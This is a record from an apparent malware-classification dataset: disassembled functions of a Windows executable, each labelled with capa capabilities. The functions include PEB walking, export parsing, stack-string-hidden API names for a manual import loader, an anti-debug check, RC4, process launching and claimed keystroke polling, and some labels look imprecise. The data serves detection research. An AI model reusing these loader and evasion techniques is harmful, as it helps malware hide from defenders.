joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41f4d3
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x41f587
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0041f463
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x41f560
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41f593
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x41f5ae
test ebp, ebp
je 0x41f5ae
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x41f5b6
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x41f5f6
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x41f652
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x41f64d
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x41f638
test dl, dl
je 0x41f634
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x41f638
add ecx, 2
add eax, 2
test dl, dl
jne 0x41f618
xor eax, eax
jmp 0x41f63d
sbb eax, eax
or eax, 1
test eax, eax
je 0x41f65c
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x41f605
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x41f673
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.0041f4d3
test eax, eax
jne 0x41f68b
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.0041f593
mov esi, eax
test esi, esi
jne 0x41f6c1
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x41f6db
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret
Function at 0x41f7d3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x44
push esi
push edi
mov dword [esp + 0x1c], edx
mov edi, ecx
call fcn.0041f4d3
mov esi, eax
test esi, esi
jne 0x41f7f1
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x64616f4c
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x41797261
mov byte [esp + 0x44], 0
call fcn.0041f593
mov dword [esp + 0x18], eax
test eax, eax
je 0x41f7e9
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x65657246
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x797261
call fcn.0041f593
mov dword [esp + 0x34], eax
test eax, eax
je 0x41f7e9
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x50746547
mov dword [esp + 0x3c], 0x41636f72
mov dword [esp + 0x40], 0x65726464
mov word [esp + 0x44], 0x7373
mov byte [esp + 0x46], 0
call fcn.0041f593
mov dword [esp + 0x28], eax
test eax, eax
je 0x41f7e9
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x4d746547
mov dword [esp + 0x3c], 0x6c75646f
mov dword [esp + 0x40], 0x6e614865
mov dword [esp + 0x44], 0x41656c64
mov byte [esp + 0x48], 0
call fcn.0041f593
mov dword [esp + 0x30], eax
test eax, eax
je 0x41f7e9
mov eax, dword [edi + 0x3c]
push ebx
cmp dword [eax + edi + 0x84], 0
push ebp
je 0x41f9b8
mov ecx, dword [eax + edi + 0x80]
add ecx, edi
xor esi, esi
lea ebx, [ecx + 0xc]
mov dword [esp + 0x34], ecx
mov dword [esp + 0x10], esi
cmp dword [ebx], esi
je 0x41f9b8
mov eax, ebx
mov ebp, ecx
mov eax, dword [eax]
add eax, edi
push eax
mov dword [esp + 0x2c], eax
call dword [esp + 0x24]
mov dword [esp + 0x2c], eax
mov eax, dword [ebp]
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x41f91b
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x1c], eax
add eax, edi
mov dword [esp + 0x14], 0
cmp dword [eax], 0
je 0x41f99c
mov dword [esp + 0x18], 0
nop
mov eax, dword [eax]
test eax, eax
jns 0x41f93e
movzx esi, ax
jmp 0x41f943
lea esi, [edi + 2]
add esi, eax
mov ecx, dword [esp + 0x24]
test ecx, ecx
je 0x41f962
push dword [esp + 0x58]
and eax, 0x80000000
push eax
push esi
push dword [esp + 0x34]
call ecx
mov ecx, eax
test ecx, ecx
jne 0x41f971
push esi
push dword [esp + 0x30]
call dword [esp + 0x38]
mov ecx, eax
test ecx, ecx
je 0x41f9c5
mov eax, dword [ebp + 0x10]
add eax, dword [esp + 0x18]
mov dword [eax + edi], ecx
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
inc ecx
mov dword [esp + 0x14], ecx
shl ecx, 2
add eax, ecx
add eax, edi
mov dword [esp + 0x18], ecx
cmp dword [eax], 0
jne 0x41f933
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x34]
inc esi
mov dword [esp + 0x10], esi
lea eax, [esi + esi*4]
lea ebp, [ecx + eax*4]
cmp dword [ebp + 0xc], 0
lea eax, [ebp + 0xc]
jne 0x41f8f8
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x44
ret
cmp dword [ebx], 0
je 0x41f9ee
mov esi, dword [esp + 0x10]
xor ebp, ebp
lea ecx, [ecx]
cmp ebp, esi
ja 0x41f9ee
mov eax, dword [ebx]
add eax, edi
push eax
call dword [esp + 0x3c]
push eax
call dword [esp + 0x40]
add ebx, 0x14
inc ebp
cmp dword [ebx], 0
jne 0x41f9d3
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret
Function at 0x41fa03
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
push esi
push edi
mov edi, ecx
call fcn.0041f4d3
mov esi, eax
test esi, esi
je 0x41fabf
push ebp
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x65657246
mov dword [esp + 0x14], 0x7262694c
mov dword [esp + 0x18], 0x797261
call fcn.0041f593
mov ebp, eax
test ebp, ebp
je 0x41fabe
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x4d746547
mov dword [esp + 0x14], 0x6c75646f
mov dword [esp + 0x18], 0x6e614865
mov dword [esp + 0x1c], 0x41656c64
mov byte [esp + 0x20], 0
call fcn.0041f593
mov edx, eax
mov dword [esp + 0xc], edx
test edx, edx
je 0x41fabe
mov ecx, dword [edi + 0x3c]
cmp dword [ecx + edi + 0x84], 0
je 0x41fabe
push ebx
mov ebx, dword [ecx + edi + 0x80]
add ebx, edi
xor esi, esi
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x41fabd
lea ebx, [ebx]
add eax, edi
push eax
call edx
push eax
call ebp
mov edx, dword [esp + 0x10]
lea esi, [esi + 1]
lea eax, [esi + esi*4]
mov eax, dword [ebx + eax*4 + 0xc]
test eax, eax
jne 0x41faa3
pop ebx
pop ebp
pop edi
pop esi
add esp, 0x18
ret
Function at 0x439be7
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
and eax, 1
leave
ret

Function at 0x43b389
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x43b43d
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0043b319
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x43b416
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43b449
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x43b464
test ebp, ebp
je 0x43b464
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x43b46c
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x43b4ac
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x43b508
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x43b503
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x43b4ee
test dl, dl
je 0x43b4ea
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x43b4ee
add ecx, 2
add eax, 2
test dl, dl
jne 0x43b4ce
xor eax, eax
jmp 0x43b4f3
sbb eax, eax
or eax, 1
test eax, eax
je 0x43b512
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x43b4bb
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x43b529
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
push esi
push edi
mov edi, ecx
call fcn.0043b389
mov esi, eax
test esi, esi
je 0x43b5e5
push ebp
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x65657246
mov dword [esp + 0x14], 0x7262694c
mov dword [esp + 0x18], 0x797261
call fcn.0043b449
mov ebp, eax
test ebp, ebp
je 0x43b5e4
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x4d746547
mov dword [esp + 0x14], 0x6c75646f
mov dword [esp + 0x18], 0x6e614865
mov dword [esp + 0x1c], 0x41656c64
mov byte [esp + 0x20], 0
call fcn.0043b449
mov edx, eax
mov dword [esp + 0xc], edx
test edx, edx
je 0x43b5e4
mov ecx, dword [edi + 0x3c]
cmp dword [ecx + edi + 0x84], 0
je 0x43b5e4
push ebx
mov ebx, dword [ecx + edi + 0x80]
add ebx, edi
xor esi, esi
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x43b5e3
lea ebx, [ebx]
add eax, edi
push eax
call edx
push eax
call ebp
mov edx, dword [esp + 0x10]
lea esi, [esi + 1]
lea eax, [esi + esi*4]
mov eax, dword [ebx + eax*4 + 0xc]
test eax, eax
jne 0x43b5c9
pop ebx
pop ebp
pop edi
pop esi
add esp, 0x18
ret

Function at 0x44e6ad
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov eax, 0x69a756
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040a8d4
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x44e6e1
push ebx
call fcn.004b1c56
add esp, 4
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov ebx, dword [ebp - 4]
mov ecx, dword [ebp + 8]
xor edx, edx
not ecx
cmp dword [ebp + 0x10], edx
jbe 0x44e710
push esi
mov esi, dword [ebp + 0xc]
movzx eax, byte [edx + esi]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [ebx + eax*4]
inc edx
cmp edx, dword [ebp + 0x10]
jl 0x44e6fa
pop esi
not ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
jmp 0x44e71d
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4bf5c0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x583c7b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00577c18
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4bf642
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00574c4e
mov eax, dword [eax]
push 0x7a6d08
push eax
call fcn.00563944
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00577ea3
test bl, bl
je 0x4bf642
push 0x7a6d08
lea ecx, [esp + 0xc]
call fcn.00578233
push 0x7a6d14
lea ecx, [esp + 0xc]
call fcn.00578233
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4bf67e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00577ea3
jmp 0x4bf749
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4bf702
lea edx, [esp + 0x7c]
push 0x7a6d10
push edx
call fcn.00563944
add esp, 8
test eax, eax
je 0x4bf702
lea eax, [esp + 0x7c]
push 0x7a6d0c
push eax
call fcn.00563944
add esp, 8
test eax, eax
je 0x4bf702
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4bf692
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00577ea3
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4bff50
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4bffb2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4bffc0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x583cfb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x7e8d48]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4c00f8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4c0026
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00577ea3
xor eax, eax
jmp 0x4c016f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00577fe0
push esi
lea ecx, [esp + 0xc]
call fcn.0057826f
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4c014d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.004bff50
test eax, eax
jne 0x4c014d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.004bff50
test eax, eax
jne 0x4c014d
lea eax, [esp + 0x14]
push 0x7a6d24
push eax
call fcn.00564b20
mov esi, eax
add esp, 8
test esi, esi
jne 0x4c012c
lea ecx, [esp + 0x14]
push 0x7a6d20
push ecx
call fcn.00564aa0
mov esi, eax
add esp, 8
test esi, esi
jne 0x4c012c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4c012f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00577f90
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4c003e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00577ea3
xor eax, eax
jmp 0x4c016f
mov byte [esi], 0
push 0x7a6d1c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00577ea3
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4d4800
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4d486e
cmp si, 0x69
ja 0x4d486e
add esi, 0xffd0
cmp si, 0x11
je 0x4d483e
push 0x11
call edi
test ax, ax
jge 0x4d483e
or esi, 0x2000
cmp si, 0x10
je 0x4d4853
push 0x10
call edi
test ax, ax
jge 0x4d4853
or esi, 0x4000
cmp si, 0x12
je 0x4d4868
push 0x12
call edi
test ax, ax
jge 0x4d4868
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4d487b
mov esi, 0xbd
jmp 0x4d482f
cmp si, 0x6e
jne 0x4d4888
mov esi, 0xbe
jmp 0x4d482f
cmp si, 0x6f
jne 0x4d4829
mov esi, 0xbf
jmp 0x4d482f

Function at 0x4d6200
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x7fa100]
xor edx, edx
cmp eax, edx
jne 0x4d6226
xor eax, eax
mov byte [eax + 0x7fa000], al
inc eax
cmp eax, 0x100
jl 0x4d620e
mov dword [0x7fa100], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x7fa000
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4d62b7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4d628a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4d6258
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4d6330
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4d6383
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4d636a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4dd3d0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x4dd568
cmp ebp, ebx
jle 0x4dd568
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x4dd42e
dec eax
or eax, 0xfffffff8
inc eax
je 0x4dd435
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x4dd444
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x4dd44b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.00577be4
add esp, 4
cmp eax, ebx
je 0x4dd46c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.00577be4
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x4dd55e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x4dd545
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4dd531
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4dd526
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4dd534
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4dd534
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x4dd4d0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x4dd4c1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x4e0a70
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5858d8
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x4e0aa9
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.0057fcc0
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.0057fd0c
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.004e0b30
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.0057fd49
